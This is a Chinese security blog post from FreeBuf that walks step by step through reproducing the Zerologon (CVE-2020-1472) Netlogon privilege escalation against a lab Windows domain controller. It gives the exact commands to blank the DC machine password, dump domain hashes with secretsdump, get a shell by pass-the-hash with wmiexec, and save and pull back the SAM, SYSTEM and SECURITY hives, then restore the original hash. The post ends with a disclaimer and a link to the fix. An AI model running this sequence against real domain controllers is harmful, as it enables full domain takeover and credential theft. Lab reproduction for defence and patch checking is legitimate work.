freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE 2020-1472 Netlogon 特权提升漏洞
2020-10-13 22:00:03

1.复现环境

DC:
os:windows 2012 server
ip:192.168.236.132

攻击机:
os:kali
ip:192.168.236.130

2.影响版本

Windows Server 2008 R2 for x64-based Systems
Service Pack 1Windows Server 2008 R2 for x64-based
Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

3.域控环境搭建参考文章

sectool/251828.html

4.复现过程

4.1 漏洞验证

POC链接

1602597121_5f85b1019f0750cf2d01c.png!small

1602597660_5f85b31c2cd462c0d9d47.png!small?1602597662820

4.2 漏洞利用

安装最新的Impacket,否则会报错

1602597674_5f85b32a63ac48ed32424.png!small?1602597677207

4.2.1 下载攻击exp

EXP下载

1602597178_5f85b13ab62bc64344fac.png!small

4.2.2 置空密码

python3 cve-2020-1472-exploit.py WIN-F6STUQIU7D8 192.168.236.132

1602597701_5f85b34564126d6946a10.png!small?1602597704063

4.2.3 获取hash

进入到impacket/examples

python3 secretsdump.py DOMAIN/WIN-F6STUQIU7D8\$@192.168.236.132 -just-dc -no-pass

1602597274_5f85b19acb9d21f9286e5.png!small

4.2.4 获取shell

python3 wmiexec.py -hashes <HASH> DOMAIN/administrator\@IP

1602597322_5f85b1ca206b67a86765b.png!small

4.2.5 获取原hash

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

1602597366_5f85b1f68531d133fc287.png!small

4.2.6 解析hash

保存$MACHINE.ACC部分:XXXXXXXXXXXXXX:XXXXXXX

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

4.2.7 恢复hash

恢复链接

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

1602597449_5f85b24954d988b0ff6c8.png!small

4.2.8 验证是否恢复

使用获取hash的命令来验证是否恢复

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

1602597721_5f85b359782f7c185b2d6.png!small?1602597724087

5.修复建议

官方修复建议

免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

# 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录